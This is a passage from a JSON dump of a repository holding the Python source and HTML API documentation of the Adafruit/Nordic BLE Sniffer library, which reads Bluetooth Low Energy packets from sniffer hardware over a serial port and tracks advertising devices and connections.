SWITCH_BAUD_RATE_REQ:\n            self.baud_rate = parseLittleEndian(packetList[PAYLOAD_POS:PAYLOAD_POS+4])\n        elif self.id == TEST_RESULT_ID:\n            self.testId = packetList[PAYLOAD_POS]\n            self.testLength = packetList[PAYLOAD_POS+1]\n            self.testPayload = packetList[PAYLOAD_POS+2:]\n\n    def readFlags(self):\n        self.crcOK = not not (self.flags & 1)\n        self.direction = not not (self.flags & 2)\n        self.encrypted = not not (self.flags & 4)\n        self.micOK = not not (self.flags & 8)\n        self.OK = self.crcOK and (self.micOK or not self.encrypted)\n\n    def getList(self):\n        return self.packetList\n\n    def validatePacketList(self, packetList):\n        try:\n            if (packetList[PAYLOAD_LEN_POS] + packetList[HEADER_LEN_POS]) == len(packetList):\n                return True\n            else:\n                return False\n        except:  # noqa: E722\n            logging.exception(\"Invalid packet: %s\" % str(packetList))\n            return False\n\n\nclass BlePacket():\n    def __init__(self, packetList):\n        self.extractAccessAddress(packetList)\n        if self.accessAddress == ADV_ACCESS_ADDRESS:\n            self.extractAdvType(packetList)\n            self.extractAdvAddress(packetList)\n            self.extractName(packetList)\n        self.extractLength(packetList)\n        self.payload = packetList[6:]\n\n    def __repr__(self):\n        return \"BLE packet, AAddr: \"+str(self.accessAddress)\n\n    def extractAccessAddress(self, packetList):\n        self.accessAddress = packetList[0:4]\n\n    def extractAdvType(self, packetList):\n        self.advType = (packetList[4] & 15)\n\n    def extractAdvAddress(self, packetList):\n        addr = None\n        if (self.advType == 0 or self.advType == 1 or self.advType == 2 or self.advType == 4\n           or self.advType == 6):\n            addrType = not not packetList[4] & 64\n            addr = packetList[6:12]\n            addr.reverse()\n            addr += [addrType]\n        elif (self.advType == 3 or self.advType == 5):\n            addrType = not not packetList[4] & 64\n            addr = packetList[12:18]\n            addr.reverse()\n            addr += [addrType]\n\n        self.advAddress = addr\n\n    def extractName(self, packetList):\n        name = \"\"\n        if (self.advType == 0 or self.advType == 2 or self.advType == 6):\n            i = 12\n            while i < len(packetList):\n                length = packetList[i]\n                if (i+length+1) > len(packetList) or length == 0:\n                    break\n                type = packetList[i+1]\n                if type == 8 or type == 9:\n                    nameList = packetList[i+2:i+length+1]\n                    name = \"\"\n                    for j in nameList:\n                        name += chr(j)\n                i += (length+1)\n            name = '\"'+name+'\"'\n        elif (self.advType == 1):\n            name = \"[ADV_DIRECT_IND]\"\n\n        self.name = name  # .decode(encoding=\"UTF-8\")\n\n    def extractLength(self, packetList):\n        length = packetList[5]\n        self.length = length\n\n\ndef parseLittleEndian(list):\n    total = 0\n    for i in range(len(list)):\n        total += (list[i] << (8*i))\n    return total\n\n\ndef toLittleEndian(value, size):\n    list = [0]*size\n    for i in range(size):\n        list[i] = (value >> (i*8)) % 256\n    return list\n"
  },
  {
    "path": "src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/Sniffer.py",
    "content": "from __future__ import absolute_import\nimport sys\nimport os\nimport threading\nimport logging\nfrom . import SnifferCollector\nfrom . import Logger, Version\n\n\ndef initLog():\n    Logger.initLogger()\n\n    logging.info(\"--------------------------------------------------------\")\n    logging.info(\"Software version: \" + Version.getReadableVersionString(Version.getRevision()))\n\n\ninitLog()\n\n\nclass Sniffer(threading.Thread, SnifferCollector.SnifferCollector):\n\n    # Sniffer constructor. portnum argument is optional. If not provided,\n    # the software will try to locate the firwmare automatically (may take time).\n    # NOTE: portnum is 0-indexed, while Windows names are 1-indexed\n    def __init__(self, portnum=None):\n        threading.Thread.__init__(self)\n        SnifferCollector.SnifferCollector.__init__(self, portnum)\n        self.daemon = True\n\n        self.subscribe(\"COMPORT_FOUND\", self.comPortFound)\n\n    # API STARTS HERE\n\n    # Get [number] number of packets since last fetch (-1 means all)\n    # Note that the packet buffer is limited to about 80000 packets.\n    # Returns: A list of Packet objects\n    def getPackets(self, number=-1):\n        return self._getPackets(number)\n\n    # Get a list of devices which are advertising in range of the Sniffer.\n    # Returns: A DeviceList object.\n    def getDevices(self):\n        return self._devices\n\n    # Signal the Sniffer firmware to sniff a specific device.\n    # \"device\" argument is of type Device\n    # if \"followOnlyAdvertisements\" is True the sniffer will not follow the device into a connection.  # noqa: E501\n    # Returns nothing\n    def follow(self, device=None, followOnlyAdvertisements=False):\n        self._startFollowing(device, followOnlyAdvertisements)\n\n    # Signal the Sniffer to scan for advertising devices by sending the REQ_SCAN_CONT UART packet.\n    # This will cause it to stop sniffing any device it is sniffing at the moment.\n    # Returns nothing.\n    def scan(self):\n        self._startScanning()\n\n    # Send a temporary key to the sniffer to use when decrypting encrypted communication.\n    # Returns nothing.\n    def sendTK(self, TK):\n        self._packetReader.sendTK(TK)\n\n    # Set the preset COM port number. Only use this during startup. Set to None to search all ports.\n    # Returns nothing.\n    def setPortnum(self, portnum):\n        self._portnum = portnum\n        self._packetReader.portnum = portnum\n\n    # Set the order in which the sniffer cycles through adv channels when following a device.\n    # hopSequence must be a list of length 1, 2, or 3, and each item must be either 37, 38, or 39.\n    # The same channel cannot occur more than once in the list.\n    # Returns nothing.\n    def setAdvHopSequence(self, hopSequence):\n        self._packetReader.sendHopSequence(hopSequence)\n\n    # Gracefully shut down the sniffer threads and connections.\n    # Returns nothing.\n    def doExit(self):\n        return self._doExit()\n\n    # NOTE: Methods with decorator @property can be used as (read-only) properties\n    # Example: mMissedPackets = sniffer.missedPackets\n\n    # The number of missed packets over the UART, as determined by the packet counter in the header.\n    @property\n    def missedPackets(self):\n        return self._missedPackets\n\n    # The number of packets which were sniffed in the last BLE connection.\n    # From CONNECT_REQ until link loss/termination.\n    @property\n    def packetsInLastConnection(self):\n        return self._packetsInLastConnection\n\n    # The packet counter value of the last received connect request.\n    @property\n    def connectEventPacketCounterValue(self):\n        return self._connectEventPacketCounterValue\n\n    # A Packet object containing the last received connect request.\n    @property\n    def currentConnectRequest(self):\n        return self._currentConnectRequest\n\n    # A boolean indicating whether the sniffed device is in a connection.\n    @property\n    def inConnection(self):\n        return self._inConnection\n\n    # The internal state of the sniffer.\n    # States are defined in SnifferCollector module. Valid values are 0-2.\n    @property\n    def state(self):\n        return self._state\n\n    # The COM port of the sniffer hardware. During initialization, this value is a preset.\n    @property\n    def portnum(self):\n        return self._portnum\n\n    # The version number of the API software.\n    @property\n    def swversion(self):\n        return self._swversion\n\n    # The version number of the sniffer firmware.\n    @property\n    def fwversion(self):\n        return self._fwversion\n\n    # API ENDS HERE\n\n    # Private method\n    def run(self):\n        try:\n            self._setup()\n            self.runSniffer()\n        except (KeyboardInterrupt) as e:\n            unused_exc_type, unused_exc_obj, exc_tb = sys.exc_info()\n            fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]\n            lineno = exc_tb.tb_lineno\n            logging.info(\"exiting (\"+str(type(e))+\" in \"+fname+\" at \"+str(lineno)+\"): \"+str(e))\n            self.goodExit = False\n        except Exception as e:\n            logging.exception(\"CRASH\")\n            self.goodExit = False\n        else:\n            self.goodExit = True\n\n    # Private method\n    def comPortFound(self, notification):\n        # logging.info(\"Com port found\")\n        self._portnum = notification.msg[\"comPort\"]\n        self._boardId = self._makeBoardId()\n        # self._packetReader.comport = self.portnum\n\n    # Private method\n    def runSniffer(self):\n        if not self._exit:\n            self._continuouslyPipe()\n        else:\n            self.goodExit = False\n\n    # Private method\n    def sendTestPacketToSniffer(self, payload):\n        self._sendTestPacket(payload)\n\n    # Private method\n    def getTestPacketFromSniffer(self):\n        return self._getTestPacket()\n"
  },
  {
    "path": "src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/SnifferCollector.py",
    "content": "from __future__ import absolute_import\nfrom . import Packet, Exceptions, CaptureFiles, Devices, Notifications, Version\nimport threading\nimport logging\nimport copy\nfrom serial import SerialException\nfrom six.moves import range\n\n\nREQ_FOLLOW = 0x00\nEVENT_FOLLOW = 0x01\nEVENT_DEVICE = 0x02\nREQ_SINGLE_PACKET = 0x03\nRESP_SINGLE_PACKET = 0x04\nEVENT_CONNECT = 0x05\nEVENT_PACKET = 0x06\nREQ_SCAN_CONT = 0x07\nRESP_SCAN_CONT = 0x08\nEVENT_DISCONNECT = 0x09\nEVENT_ERROR = 0x0A\nEVENT_EMPTY_DATA_PACKET = 0x0B\nSET_TEMPORARY_KEY = 0x0C\nPING_REQ = 0x0D\nPING_RESP = 0x0E\nTEST_COMMAND_ID = 0x0F\nUART_TEST_START = 0x11\nUART_DUMMY_PACKET = 0x12\nSWITCH_BAUD_RATE_REQ = 0x13\nSWITCH_BAUD_RATE_RESP = 0x14\nGO_IDLE = 0xFE\n\nSTATE_INITIALIZING = 0\nSTATE_SCANNING = 1\nSTATE_FOLLOWING = 2\n\nADV_ACCESS_ADDRESS = [0xD6, 0xBE, 0x89, 0x8E]\n\n\nclass SnifferCollector(Notifications.Notifier):\n    def __init__(self, portnum=None, *args, **kwargs):\n        Notifications.Notifier.__init__(self, *args, **kwargs)\n        self._portnum = portnum\n        self._swversion = Version.getRevision()\n        self._fwversion = 0\n        self._setState(STATE_INITIALIZING)\n        self._captureHandler = CaptureFiles.CaptureFileHandler()\n        self._exit = False\n        self._connectionAccessAddress = None\n        self._packetListLock = threading.RLock()\n        with self._packetListLock:\n            self._packets = []\n\n        self._packetReader = Packet.PacketReader(\n            self._portnum,  callbacks=[(\"*\", self.passOnNotification)])\n        self._devices = Devices.DeviceList(\n            callbacks=[(\"*\", self.passOnNotification)])\n\n        self._missedPackets = 0\n        self._packetsInLastConnection = None\n        self._connectEventPacketCounterValue = None\n        self._inConnection = False\n        self._currentConnectRequest = None\n\n        self._nProcessedPackets = 0\n\n        self._switchingBaudRate = False\n\n        self._attemptedBaudRates = []\n\n        self._boardId = self._makeBoardId()\n\n    def __del__(self):\n        self._doExit()\n\n    def _setup(self):\n        self._packetReader.setup()\n        if self._exit:\n            return\n\n        if self._packetReader.fwversion < self.swversion:\n            self.notify(\"OLD_FW_VERSION\", {\n                        \"version\": self._packetReader.fwversion})\n\n        self._fwversion = self._packetReader.fwversion\n\n        self._startScanning()\n\n        self._setState(STATE_SCANNING)\n\n    def _makeBoardId(self):\n        try:\n            boardId = int(self._packetReader.uart.ser.name.split(\"COM\")[1])\n            logging.info(\"board ID: %d\" % boardId)\n        except (IndexError, AttributeError):\n            import random\n            random.seed()\n            boardId = random.randint(0, 255)\n            logging.info(\"board ID (random): %d\" % boardId)\n\n        return boardId\n\n    @property\n    def state(self):\n        return self._state\n\n    def _setState(self, newState):\n        self._state = newState\n        self.notify(\"STATE_CHANGE\", newState)\n\n    def _switchBaudRate(self, newBaudRate):\n        if newBaudRate in self._packetReader.uart.ser.BAUDRATES:\n            self._packetReader.sendSwitchBaudRate(newBaudRate)\n            self._switchingBaudRate = True\n            self._proposedBaudRate = newBaudRate\n            self._attemptedBaudRates.append(newBaudRate)\n\n    def _processBLEPacket(self, packet):\n        packet.boardId = self._boardId\n        self._appendPacket(packet)\n\n        self.notify(\"NEW_BLE_PACKET\", {\"packet\": packet})\n        self._captureHandler.writePacket(packet)\n\n        self._nProcessedPackets += 1\n        if packet.OK:\n            try:\n                if packet.blePacket.accessAddress == ADV_ACCESS_ADDRESS:\n\n                    if self.state == STATE_FOLLOWING and packet.blePacket.advType == 5:\n                        self._connectionAccessAddress = packet.blePacket.accessAddress\n\n                    if self.state == STATE_SCANNING:\n                        if (packet.blePacket.advType == 0\n                            or packet.blePacket.advType == 1\n                            or packet.blePacket.advType == 2\n                            or packet.blePacket.advType == 4\n                            or packet.blePacket.advType == 6\n                            ) and (packet.blePacket.advAddress is not None\n                                   ) and (packet.crcOK and not packet.direction):\n\n                            newDevice = Devices.Device(\n                                address=packet.blePacket.advAddress, name=packet.blePacket.name,\n                                RSSI=packet.RSSI, txAdd=packet.txAdd)\n                            self._devices.appendOrUpdate(newDevice)\n\n            except Exception as e:\n                logging.exception(\"packet processing error\")\n                self.notify(\"PACKET_PROCESSING_ERROR\", {\"errorString\": str(e)})\n\n    def _continuouslyPipe(self):\n\n        while not self._exit:\n            try:\n                packet = self._packetReader.getPacket(timeout=2)\n                if not packet.valid:\n                    raise Exceptions.InvalidPacketException(\"\")\n            except Exceptions.SnifferTimeout as e:\n                logging.info(str(e))\n                packet = None\n            except (SerialException, ValueError):\n                logging.exception(\"UART read error\")\n                logging.error(\"Lost contact with sniffer hardware.\")\n                self._doExit()\n            except Exceptions.InvalidPacketException:\n                # logging.error(\"Continuously pipe: Invalid packet, skipping.\")\n                pass\n            else:\n                if packet.id == EVENT_PACKET:\n                    self._processBLEPacket(packet)\n                elif packet.id == EVENT_FOLLOW:\n                    # This packet has no value for the user.\n                    pass\n\n                elif packet.id == EVENT_CONNECT:\n                    self._connectEventPacketCounterValue = packet.packetCounter\n                    self._inConnection = True\n                    # copy it because packets are eventually deleted\n                    self._currentConnectRequest = copy.copy(self._findPacketByPacketCounter(\n                        self._connectEventPacketCounterValue-1))\n                elif packet.id == EVENT_DISCONNECT:\n                    if self._inConnection:\n                        self._packetsInLastConnection = packet.packetCounter - \\\n                            self._connectEventPacketCounterValue\n                        self._inConnection = False\n                elif packet.id == SWITCH_BAUD_RATE_RESP and self._switchingBaudRate:\n                    self._switchingBaudRate = False\n                    if (packet.baudRate == self._proposedBaudRate):\n                        self._packetReader.switchBaudRate(\n                            self._proposedBaudRate)\n                    else:\n                        self._switchBaudRate(packet.baudRate)\n\n    def _findPacketByPacketCounter(self, packetCounterValue):\n        with self._packetListLock:\n            for i in range(-1, -1-len(self._packets), -1):\n                # iterate backwards through packets\n                if self._packets[i].packetCounter == packetCounterValue:\n                    return self._packets[i]\n        return None\n\n    def _startScanning(self):\n        logging.info(\"starting scan\")\n\n        if self.state == STATE_FOLLOWING:\n            logging.info(\"Stopped sniffing device\")\n\n        self._devices.clear()\n        self._setState(STATE_SCANNING)\n        self._packetReader.sendScan()\n        self._packetReader.sendTK([0])\n\n    def _doExit(self):\n        self._exit = True\n        self.notify(\"APP_EXIT\")\n        self._packetReader.doExit()\n\n    def _startFollowing(self, device, followOnlyAdvertisements=False):\n\n        self._devices.setFollowed(device)\n        logging.info(\"Sniffing device \" +\n                     str(self._devices.index(device)) + ' - \"'+device.name+'\"')\n        self._packetReader.sendFollow(\n            device.address, device.txAdd, followOnlyAdvertisements)\n        self._setState(STATE_FOLLOWING)\n\n    def _appendPacket(self, packet):\n        with self._packetListLock:\n            if len(self._packets) > 100000:\n                self._packets = self._packets[20000:]\n            self._packets.append(packet)\n\n    def _getPackets(self, number=-1):\n        with self._packetListLock:\n            returnList = self._packets[0:number]\n            self._packets = self._packets[number:]\n        return returnList\n\n    def _sendTestPacket(self, payload):\n        self._packetReader.sendTestPacket(payload)\n\n    def _getTestPacket(self):\n        return self._packetReader.getPacket()\n"
  },
  {
    "path": "src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/UART.py",
    "content": "from __future__ import absolute_import\nimport logging\nimport serial\nimport collections\nimport serial.tools.list_ports as list_ports\nfrom . import Exceptions\n\n\nclass Uart:\n    def __init__(self, portnum=None, useByteQueue=False):\n        self.ser = None\n        try:\n            self.ser = serial.Serial(\n                port=portnum,\n                baudrate=460800,\n                bytesize=serial.EIGHTBITS,\n                parity=serial.PARITY_NONE,\n                stopbits=serial.STOPBITS_ONE,\n                timeout=None,  # seconds\n                writeTimeout=None,\n                rtscts=True\n            )\n\n        except Exception as e:\n            if self.ser:\n                self.ser.close()\n            raise\n\n        self.useByteQueue = useByteQueue\n        self.byteQueue = collections.deque()\n\n        # if self.ser.name != None:\n        # print \"UART %s on port %s\" % (\"open\" if self.ser else \"closed\", self.ser.name)\n\n    def __del__(self):\n        if self.ser:\n            logging.info(\"closing UART\")\n            self.ser.close()\n\n    def switchBaudRate(self, newBaudRate):\n        self.ser.baudrate = newBaudRate\n\n    def read(self, length, timeout=None):\n        if timeout != self.ser.timeout:\n            try:\n                self.ser.timeout = timeout\n            except ValueError as e:\n                logging.error(\"Error setting UART read timeout. Continuing.\")\n\n        value = self.ser.read(length)\n        if len(value) != length:\n            raise Exceptions.SnifferTimeout(\n                \"UART read timeout (\" + str(self.ser.timeout) + \" seconds).\")\n\n        if self.useByteQueue:\n            self.byteQueue.extend(value)\n        return value\n\n    def readByte(self, timeout=None):\n        readString = \"\"\n\n        readString = self.read(1, timeout)\n\n        return readString\n\n    def readList(self, size, timeout=None):\n        return self.read(size, timeout)\n\n    def writeList(self, array, timeout=None):\n        nBytes = 0\n        if timeout != self.ser.writeTimeout:\n            try:\n                self.ser.writeTimeout = timeout\n            except ValueError as e:\n                logging.error(\"Error setting UART write timeout. Continuing.\")\n        try:\n            nBytes = self.ser.write(array)\n        except:  # noqa: E722\n            self.ser.close()\n            raise\n\n        return nBytes\n\n\ndef list_serial_ports():\n    # Scan for available ports.\n    return list_ports.comports()\n"
  },
  {
    "path": "src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/Version.py",
    "content": "from __future__ import absolute_import\nfrom . import myVersion\n\npdfVersion = \"1.2\"\n\n\ndef getRevision():\n    return myVersion.version\n\n\ndef getVersionString(mRevision=getRevision()):\n    # prevRev = 0\n\n    # if mRevision == 0:\n        # return \"0.0.0\"\n    # for rev in versions:\n        # if rev > int(mRevision):\n            # return versions[prevRev]\n        # prevRev = rev\n    # return versions[prevRev]\n\n    return myVersion.versionString + myVersion.versionNameAppendix\n\n\ndef getPureVersionString(mRevision=getRevision()):\n    return myVersion.versionString\n\n\ndef getUserGuideFileName(version=pdfVersion, platformName=\"win\", deliverableName=\"ble-sniffer\",\n                         itemName=\"User Guide.pdf\"):\n    return str(deliverableName) + \"_\" + str(platformName) + \"_\" + str(version) + \"_\" + str(itemName)\n\n\ndef getReadableVersionString(mRevision=getRevision()):\n    return \"SVN rev. \"+str(mRevision) if mRevision else \"version information unavailable\"\n\n\ndef getFileNameVersionString(mRevision=getRevision(), itemName=\"\", platformName=\"win\",\n                             deliverableName=\"ble-sniffer\"):\n    ver = getVersionString(mRevision)\n    if itemName != \"\":\n        return str(deliverableName)+\"_\"+str(platformName)+\"_\"+str(ver)+\"_\"+str(itemName)\n    else:\n        return str(deliverableName)+\"_\"+str(platformName)+\"_\"+str(ver)\n"
  },
  {
    "path": "src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/__init__.py",
    "content": ""
  },
  {
    "path": "src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/myVersion.py",
    "content": "version = 1111\nversionString = \"1.0.1\"\nversionNameAppendix = \"_1111\"\n"
  },
  {
    "path": "src/protocols/BLE/Adafruit_BLESniffer/__init__.py",
    "content": ""
  },
  {
    "path": "src/protocols/BLE/Adafruit_BLESniffer/documentation.html",
    "content": "<html>\n<style>\ntable\n{\nwidth:850px;\n}\ntable,th,td\n{\nborder:1px solid black;\nborder-collapse:collapse\n}\n\ndiv\n{\nwidth:auto;\n}\n\n\ntr.trh\n{\nbackground-color:#A4A4A4;\n}\n\ntr.tr1:nth-of-type(2n)\n{\nbackground-color:#E6E6E6;\n}\n\n#td1\n{\n    border: 1px solid black;\n    overflow: hidden;\n    width: 10px;\n}\n\n#index-span\n{\nwidth:500px;\nborder:0px solid black;\npadding-left: 0px;\n\n}\n\n.index\n{\nwidth:80px\n}\n\n\n\n</style>\n\n<h3 id=\"sniffer\">Sniffer</h3>\nThe entry point for the API.\n<table>\n<tr class=\"trh\">\n  <th>Field</th>\n  <th>Type</th> \n  <th>Description</th>\n</tr>\n<tr class=\"tr1\">\n  <td id=\"td1\">missedPackets</td>\n  <td>int</td> \n  <td>The number of missed packets over the UART, as determined by the packet counter in the header. Derived using the <a href=\"#tr-packetCounter\">packetCounter</a> field.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>packetsInLastConnection</td>\n  <td>int</td> \n  <td>The number of packets which were sniffed in the last BLE connection. From CONNECT_REQ until link loss/termination.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>connectEventPacketCounterValue</td>\n  <td>int</td> \n  <td>The packet counter value of the last received connect request.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>inConnection</td>\n  <td>bool</td> \n  <td>A boolean indicating whether the sniffed device is in a connection.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>currentConnectRequest</td>\n  <td><a href=\"#h3-packet\">Packet</a></td> \n  <td>A Packet object containing the last received connect request.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>state</td>\n  <td>int</td> \n  <td>The internal state of the sniffer. States are defined in SnifferCollector module. Valid values are 0-2.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>portnum</td>\n  <td>int or string</td> \n  <td>The COM port of the sniffer hardware. During initialization, this value is a preset.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>swversion</td>\n  <td>int</td> \n  <td>The version number of the API software.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>fwversion</td>\n  <td>int</td> \n  <td>The version number of the sniffer firmware.</td>\n</tr>\n<tr class=\"trh\">\n  <th>Function</th>\n  <th>Type</th> \n  <th>Description</th>\n</tr>\n<tr class=\"tr1\">\n  <td>__init__(portnum)</td>\n  <td><a href=\"#h3-sniffer\">Sniffer</a></td> \n  <td>Constructor for the Sniffer class. The optional argument \"portnum\" is a string with the name of the port the sniffer board is at, e.g. \"COM17\". If not provided, the API will locate it automatically, but this takes more time.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>start()</td>\n  <td>void</a></td> \n  <td>Starts the Sniffer thread. This call must be made (once and only once) before using the sniffer object.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>getPackets(number)</td>\n  <td>List<<a href=\"#h3-packet\">Packet</a>></td> \n  <td>Get [number] number of packets since last fetch (-1 means all). Note that the packet buffer is limited to about 80000 packets. </td>\n</tr>\n<tr class=\"tr1\">\n  <td>getDevices()</td>\n  <td><a href=\"#h3-deviceList\">DeviceList</a></td> \n  <td>Get a list of devices which are advertising in range of the Sniffer.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>follow(<a href=\"#h3-device\">device</a>, followOnlyAdvertisements)</td>\n  <td>void</td> \n  <td>Signal the Sniffer firmware to sniff a specific device. If followOnlyAdvertisements is True, the sniffer will not sniff a connection, only advertisements from the followed device.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>scan()</td>\n  <td>void</td> \n  <td>Signal the Sniffer to scan for advertising devices by sending the REQ_SCAN_CONT UART packet. This will cause it to stop sniffing any device it is sniffing at the moment.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>sendTK(TK)</td>\n  <td>void</td> \n  <td>Send a temporary key to the sniffer for use when decrypting encrypted connections. TK is a list of 16 ints, each representing a byte in the temporary key. TK is on big-endian form.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>setPortnum(portnum)</td>\n  <td>void</td> \n  <td>Set the preset COM port number. Only use this during startup. Set to None to search all ports.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>doExit()</td>\n  <td>void</td> \n  <td>Gracefully shut down the sniffer threads and connections.</td>\n</tr>\n</table>\n\n<h3 id=\"device\">Device</h3>\nClass representing a BLE device from which the sniffer has picked up data.\n<table>\n<tr class=\"trh\">\n  <th>Field</th>\n  <th>Type</th> \n  <th>Description</th>\n</tr>\n<tr class=\"tr1\" id=\"td-address\">\n  <td>address</td>\n  <td>List< int ></td> \n  <td>A list representing the device address of this device: [int, int, int, int, int, int]</td>\n</tr>\n<tr class=\"tr1\">\n  <td>txAdd</td>\n  <td>bool</td> \n  <td>A boolean representing whether the device address is public (False) or random (True).</td>\n</tr>\n<tr class=\"tr1\" id=\"tr-name\">\n  <td>name</td>\n  <td>string</td> \n  <td>A string containing the name (short or complete) of the device.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>RSSI</td>\n  <td>int</td> \n  <td>An int representing the approximate RSSI value of packets received from this device.</td>\n</tr>\n</table>\n\n<h3 id=\"devicelist\">DeviceList</h3>\nA class representing a list of devices. Used to simplify extraction of devices using BLE metadata.\n<table>\n<tr class=\"trh\">\n  <th>Function</th>\n  <th>Type</th> \n  <th>Description</th>\n</tr>\n<tr class=\"tr1\" id=\"tr-find\">\n  <td>find(id)</td>\n  <td><a href=\"#device\">Device</a></td> \n  <td>Find a device in this DeviceList using either <a href=\"#tr-name\">name</a> or <a href=\"#tr-address\">address</a>. Returns None if no device is found.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>remove(id)</td>\n  <td><a href=\"#device\">Device</a></td> \n  <td>Remove a device from this DeviceList. Argument \"id\" has same format as in <a href=\"#tr-find\">find</a>.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>append(<a href=\"#h3-device\">Device</a>)</td>\n  <td>void</td> \n  <td>Append a Device to the device list.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>index(<a href=\"#h3-device\">Device</a>)</td>\n  <td>int</td> \n  <td>Returns the index of the provided Device.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>getList()</td>\n  <td>List<<a href=\"#h3-device\">Device</a>></td> \n  <td>Returns a list of the Devices in this DeviceList.</td>\n</tr>\n</table>\n<br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/>\n<h3 id=\"packet\">Packet</h3>\nRepresents the UART packet sent by the sniffer to the host.\n<table>\n<tr class=\"trh\">\n  <th>Field</th>\n  <th>Type</th> \n  <th>Description</th>\n</tr>\n<tr class=\"tr1\">\n  <td>headerLength</td>\n  <td>int</td> \n  <td>The length of the UART header.</td>\n  <td rowspan=\"5\"> UART header </td>\n</tr>\n<tr class=\"tr1\">\n  <td>payloadLength</td>\n  <td>int</td> \n  <td>The length of the UART payload.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>protover</td>\n  <td>int</td> \n  <td>The UART protocol version used.</td>\n</tr>\n<tr  class=\"tr1\" id=\"tr-packetCounter\">\n  <td>packetCounter</td>\n  <td>int</td> \n  <td>Unique (16 bit) packet identifier which increments for each packet sent by the sniffer.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>id</td>\n  <td>int</td> \n  <td>Identifier telling what type of packet this is. See UART protocol document.</td>\n</tr>\n<!--tr class=\"tr1\">\n  <td></td>\n  <td></td> \n  <td></td>\n</tr>\n<tr class=\"tr1\">\n  <td></td>\n  <td></td> \n  <td></td>\n</tr-->\n<tr class=\"tr1\">\n  <td>bleHeaderLength</td>\n  <td>int</td> \n  <td>Length of the NRF_BLE_PACKET header.</td>\n  <td rowspan=\"9\"> NRF_BLE_PACKET header </td>\n</tr>\n<tr class=\"tr1\">\n  <td>crcOK</td>\n  <td>bool</td> \n  <td>Was the CRC received by the sniffer OK.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>micOK</td>\n  <td>bool</td> \n  <td>Is the message integriy check OK. Only relevant in encrypted state.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>direction</td>\n  <td>bool</td> \n  <td>Only relevant during connection. True -> Master to Slave, False -> Slave to Master</td>\n</tr>\n<tr  class=\"tr1\">\n  <td>encrypted</td>\n  <td>bool</td> \n  <td>has the packet been encrypted.</td>\n</tr>\n\n<tr class=\"tr1\">\n  <td>channel</td>\n  <td>int</td> \n  <td>Which channel was the packet picked up from [0 - 39]</td>\n</tr>\n<tr class=\"tr1\">\n  <td>RSSI</td>\n  <td>int</td> \n  <td>The RSSI value reported by the sniffer. NOT PRECISE. Real value is the negative of this value.</td>\n</tr>\n\n<tr class=\"tr1\">\n  <td>eventCounter</td>\n  <td>int</td> \n  <td>The eventcounter of the packet in the connection. Only relevant for packets in a connection.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>timestamp</td>\n  <td>int</td> \n  <td>Microseconds from the end of the last packet to the start of this one.</td>\n</tr>\n\n<tr class=\"tr1\">\n  <td>blePacket</td>\n  <td><a href=\"#blepacket\"> BlePacket</a></td> \n  <td>The blePacket contained within this packet.</td>\n  <td rowspan=\"6\"> Other </td>\n</tr>\n\n<tr class=\"tr1\">\n  <td>packetList</td>\n  <td>List< int ></td> \n  <td>The entire UART packet as sent by the sniffer (with the exception of a padding byte which is removed).</td>\n</tr>\n<tr class=\"tr1\">\n  <td>OK</td>\n  <td>bool</td> \n  <td>Is the error detection of the attached BLE packet OK?</td>\n</tr>\n<tr class=\"tr1\">\n  <td>payload</td>\n  <td>List< int ></td> \n  <td>List containing the UART payload as bytes.</td>\n</tr>\n\n<tr class=\"tr1\">\n  <td>txADD</td>\n  <td>bool</td> \n  <td>Is the address public or random? True -> Random, False -> Public. Only relevant for advertisement packets.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>version</td>\n  <td>int</td> \n  <td>The firmware version of the sniffer. Only sent in PING_RESP packets.</td>\n</tr>\n</table>\n\n<h3 id=\"blepacket\">BlePacket</h3>\nRepresents the BLE packet received over the air by the sniffer.\n<table>\n<tr class=\"trh\">\n  <th>Field</th>\n  <th>Type</th> \n  <th>Description</th>\n</tr>\n<tr class=\"tr1\">\n  <td>accessAddress</td>\n  <td>List< int ></td> \n  <td>A list of bytes representing the access for this packet.</td>\n</tr>\t\n<tr class=\"tr1\">\n  <td>advType</td>\n  <td>int</td> \n  <td>The advertisement type field.</td>\n</tr>\t\n<tr class=\"tr1\">\n  <td>advAddress</td>\n  <td>List< int ></td> \n  <td>The advertising address.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>name</td>\n  <td>string</td> \n  <td>The value of the localname property of the ble packet.</td>\n</tr>\n<tr class=\"tr1\">\n  <td>payload</td>\n  <td>List< int ></td> \n  <td>The entire BLE payload (not including access address and header fields).</td>\n</tr>\n<tr class=\"tr1\">\n  <td>length</td>\n  <td>int</td> \n  <td>The value of the length field of the BLE PDU</td>\n</tr>\n</table>\n\n<h3 id=\"exceptions\">Exceptions</h3>\nThe exceptions raised by the API.\n<table>\n<tr class=\"trh\">\n  <th>Exception</th>\n  <th>Description</th>\n</tr>\n<tr class=\"tr1\">\n  <td>SnifferTimeout</td>\n  <td>UART read time 